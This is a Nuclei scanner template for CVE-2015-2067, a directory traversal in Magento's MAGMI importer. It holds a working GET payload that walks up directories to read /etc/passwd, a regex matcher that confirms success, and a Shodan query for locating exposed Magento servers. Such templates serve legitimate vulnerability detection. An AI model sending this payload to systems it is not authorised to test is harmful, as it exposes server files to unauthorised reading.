id: CVE-2015-2067

info:
  name: Magento Server MAGMI - Directory Traversal
  author: daffainfo
  severity: medium
  description: Magento Server MAGMI (aka Magento Mass Importer) contains a directory traversal vulnerability in web/ajax_pluginconf.php. that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: |
    Apply the latest security patches and updates provided by Magento.
  reference:
    - https://www.exploit-db.com/exploits/35996
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2067
    - http://packetstormsecurity.com/files/130250/Magento-Server-MAGMI-Cross-Site-Scripting-Local-File-Inclusion.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-2067
    cwe-id: CWE-22
    epss-score: 0.82764
    epss-percentile: 0.99198
    cpe: cpe:2.3:a:magmi_project:magmi:-:*:*:*:*:magento_server:*:*
  metadata:
    max-request: 1
    vendor: magmi_project
    product: magmi
    framework: magento_server
    shodan-query:
      - http.component:"Magento"
      - http.component:"magento"
  tags: cve2015,cve,plugin,edb,packetstorm,lfi,magento,magmi,magmi_project,magento_server

http:
  - method: GET
    path:
      - "{{BaseURL}}/magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022079bb64881c318a91939fafa0685efc374b2d6235d909ae1cf4b3343f88e4c52102202ac36af7083d31c8ba95aeee1db3b3fe9d9f18525539970de7c19d2a3b37b604:922c64590222798bb761d5b6d8e72950